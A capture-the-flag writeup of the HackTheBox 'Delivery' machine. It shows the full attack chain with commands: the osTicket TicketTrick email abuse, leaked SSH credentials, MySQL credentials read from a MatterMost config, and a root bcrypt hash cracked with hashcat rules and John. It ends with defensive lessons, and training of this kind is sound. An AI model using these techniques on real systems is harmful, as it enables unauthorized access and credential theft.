Delivery - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Delivery is an easy difficulty Linux machine that demonstrates the dangers of support ticketing systems combined with weak password policies. The attack chain leverages a “TicketTrick” vulnerability in osTicket to obtain a temporary company email address, which grants access to an internal MatterMost instance. By enumerating the MatterMost channels, we discover hardcoded database credentials and hints about password patterns. After obtaining SSH access via leaked credentials, we extract the root password hash from the MySQL database and crack it using hashcat rules based on the password hint “PleaseSubscribe!”.

TL;DR: osTicket TicketTrick → Temporary Email → MatterMost Access → Database Credentials → Root Hash → Hashcat Cracking → Root Shell

Reconnaissance

Port Scanning

# Fast comprehensive scan to identify all open ports
nmap -p- --min-rate=1000 -T4 10.10.10.222

Results:

22/tcp   open  ssh
80/tcp   open  http
8065/tcp open  unknown

Followed by detailed service enumeration:

# Extract ports and run detailed scan
nmap -p22,80,8065 -sC -sV 10.10.10.222

Key Findings:

• Port 22: OpenSSH 7.9p1
• Port 80: HTTP web server serving landing page
• Port 8065: MatterMost chat application (discovered later)

Service Enumeration

Port 80 - Web Application

Browsing to http://10.10.10.222 reveals a static “Delivery” company landing page. The page contains a HELPDESK link pointing to http://helpdesk.delivery.htb/, requiring hostname resolution.

Update /etc/hosts:

echo "10.10.10.222    delivery.htb helpdesk.delivery.htb" | sudo tee -a /etc/hosts

The landing page also mentions that unregistered users must contact HelpDesk using a company email to access MatterMost.

Port 80 - osTicket Discovery

Navigating to http://helpdesk.delivery.htb/ reveals an osTicket support ticketing system running with a “Create Ticket” functionality exposed to unauthenticated users.

Port 8065 - MatterMost

Port 8065 hosts a MatterMost instance (internal chat/collaboration platform) with registration currently closed, but hints suggest company email addresses can unlock access.

Vulnerability Assessment

Initial Foothold

Exploitation Path: TicketTrick Attack

Step 1: Create Support Ticket

Navigate to http://helpdesk.delivery.htb/ and click “Create Ticket”:

Form Fields:
- Email: attacker@example.com (any email)
- Name: Test User
- Subject: Test Support Request
- Message: Testing system access

Upon successful submission, the system generates a temporary company email in the format:

[ticket_number]@delivery.htb

Example Output:

Your ticket has been created successfully!
Ticket ID: 9211801
Support Email: 9211801@delivery.htb

Step 2: Register MatterMost Account

Visit http://10.10.10.222:8065 and register a new account using the generated company email:

Registration Form:
- Email: 9211801@delivery.htb
- Username: deliveryuser
- Password: <secure password>
- Confirm Password: <secure password>

MatterMost accepts the @delivery.htb email address as valid company credentials.

Step 3: Check Ticket Email for MatterMost Invitation

Return to the ticket status page at http://helpdesk.delivery.htb/ and check ticket updates:

Ticket Update Received:
From: MatterMost System
Subject: Welcome to our Team!
Body: You have been invited to join the Internal team...
Confirmation Link: [URL]

Click the confirmation link to activate MatterMost account and join the “Internal” team channel.

Step 4: Extract Credentials from Team Chat

Within the Internal MatterMost channel, team members discuss:

1. OSTicket Theme Updates and system configurations
2. Leaked Credentials:

   Username: maildeliverer
   Password: Youve_G0t_Mail!

3. Password Pattern Hint:

   "Password variant of 'PleaseSubscribe!' detected"
   "Need to stop reusing password patterns everywhere"

Step 5: SSH Access

# Establish SSH connection with leaked credentials
ssh maildeliverer@10.10.10.222

# Command Prompt
# Enter password: Youve_G0t_Mail!

Success: Initial foothold achieved as user maildeliverer.

Privilege Escalation

Step 1: Enumerate Filesystem for Configuration Files

# Search for sensitive configuration files
find / -name "config.json" 2>/dev/null | grep -i mattermost
# Examine MatterMost configuration
cat /opt/mattermost/config/config.json | grep -A 10 "SqlSettings"

Output - Database Credentials Extracted:

"SqlSettings": {
    "DriverName": "mysql",
    "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8&readTimeout=30s&writeTimeout=30s",
    "DataSourceReplicas": [],
    "DataSourceSearchReplicas": [],
    "MaxIdleConns": 20,
    "ConnMaxLifetimeMilliseconds": 3600000,
    "MaxOpenConns": 300,
    "Trace": false,
    "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez"
}

Credentials Obtained:

Database User: mmuser
Database Password: Crack_The_MM_Admin_PW
Database Host: 127.0.0.1:3306
Database Name: mattermost

Step 2: Connect to MySQL Database

# Connect to MySQL using extracted credentials
mysql -u mmuser -p mattermost

# Prompt for password
# Enter: Crack_The_MM_Admin_PW

Step 3: Extract Root Password Hash

-- Query Users table in MatterMost database
SELECT Id, Username, Email, Password FROM Users;

-- Output (example):
-- +--+--------+---------+------------------------------------------+
-- |Id|Username|Email    |Password                                  |
-- +--+--------+---------+------------------------------------------+
-- |1 |root    |root@... |$2a$10$[BCRYPT_HASH_STRING]                |
-- +--+--------+---------+------------------------------------------+

-- Extract root hash more precisely
SELECT Password FROM Users WHERE Username='root';

Root Hash (BCRYPT):

$2a$10$OtQIf4r/K3GY3d3CmjVfXOPST9/PgBkqquzi.Ss7KIUgO2L0jYHLa

Step 4: Generate Wordlist Using Hashcat Rules

Recall from MatterMost chat: “PleaseSubscribe!” is the base password, with variants being used.

# Generate password variations using best64.rule
echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt

# View generated wordlist
head -20 wordlist.txt
# Output:
# PleaseSubscribe!
# pleasesubscribe!
# PLEASESUBSCRIBE!
# PleaseSubscribe!1
# PleaseSubscribe!@
# PleaseSubscribe!#
# ... (many more variations)

Step 5: Crack Root Hash with John

# Save root hash to file
echo '$2a$10$OtQIf4r/K3GY3d3CmjVfXOPST9/PgBkqquzi.Ss7KIUgO2L0jYHLa' > root_hash.txt

# Crack using wordlist
john root_hash.txt --wordlist=wordlist.txt --format=bcrypt

Output:

Loaded 1 password hash (bcrypt [Bcrypt 32/64 X3])
Cost 1 (iteration count) was 10 for the 3 samples
Press 'q' or Ctrl-C to abort, almost any other key for something else
PleaseSubscribe!2 (root)

1 password hash cracked, 0 left

Root Password: PleaseSubscribe!2

Step 6: Privilege Escalation to Root

# Switch to root user
su root

# Prompt for password
# Enter: PleaseSubscribe!2

Success: Root shell obtained.

# Verify root access
id
# Output: uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

┌─────────────────────────────────────────────────────────────┐
│ 1. osTicket TicketTrick Vulnerability                       │
│    → Create support ticket → Receive @delivery.htb email     │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 2. MatterMost Registration & Access                         │
│    → Register with company email → Join Internal channel    │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 3. Intelligence Gathering from Chat                         │
│    → Extract maildeliverer:Youve_G0t_Mail! credentials      │
│    → Discover "PleaseSubscribe!" password pattern hint      │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 4. SSH Access as maildeliverer                              │
│    → SSH login with leaked credentials                      │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 5. Configuration File Enumeration                           │
│    → Locate /opt/mattermost/config/config.json             │
│    → Extract MySQL credentials: mmuser:Crack_The_MM_Admin_PW
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 6. Database Access & Hash Extraction                        │
│    → Connect to MySQL mattermost database                   │
│    → Extract root user BCRYPT hash                          │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 7. Hashcat Rule-Based Wordlist Generation                   │
│    → Generate "PleaseSubscribe!" variations using best64.rule
│    → Create custom wordlist of password candidates         │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 8. Hash Cracking with John                                  │
│    → Crack BCRYPT hash against wordlist                     │
│    → Obtain: PleaseSubscribe!2                              │
└────────────────────┬────────────────────────────────────────┘
                     │
┌────────────────────v────────────────────────────────────────┐
│ 9. Privilege Escalation to Root                             │
│    → su root → Enter PleaseSubscribe!2                      │
│    → ROOT SHELL ACHIEVED                                    │
└─────────────────────────────────────────────────────────────┘

Tools Used

Key Learnings

Techniques Practiced

• TicketTrick Attack Vector: Exploiting support ticketing systems to obtain temporary company email addresses
• Email Impersonation: Using company email domains to bypass registration restrictions
• Information Disclosure from Chat Systems: Extracting sensitive data from internal team communications
• Configuration File Analysis: Discovering database credentials in application config files
• Password Rule Generation: Using hashcat’s best64 ruleset to generate targeted wordlists
• Hash Cracking with Contextual Information: Leveraging hints from team chat to crack stronger passwords
• Privilege Escalation via Password Reuse: Exploiting weak password patterns across systems

Lessons Learned

1. Support ticketing systems are security perimeters — osTicket’s ability to create company email addresses for unauthenticated users is a critical design flaw. Organizations should restrict email generation to authenticated users only.

2. Never leak credentials in internal communications — The MatterMost chat exposed maildeliverer credentials in plain text. All communications, even “internal,” should assume potential compromise.

3. Configuration files are gold mines — Database credentials stored in plaintext in /opt/mattermost/config/config.json provided complete database access. Implement secret management solutions and restrict file permissions.

4. Password patterns can be predicted — Users who believe they’re following password policies by using variations of a base word (e.g., “PleaseSubscribe!1”, “PleaseSubscribe!2”) are vulnerable to rule-based cracking. Enforce truly random passwords.

5. Hashcat rules are powerful — The best64.rule ruleset generated exactly the right candidates to crack the root password. Understanding rule-based wordlist generation is critical for password testing.

6. Privilege escalation through password reuse — The same password pattern used in the database was reusable for system-level authentication, allowing horizontal and vertical privilege escalation.

7. Defense in depth matters — Multiple single points of failure (exposed ticketing, leaked credentials, plaintext database passwords, password reuse) combined to allow complete system compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>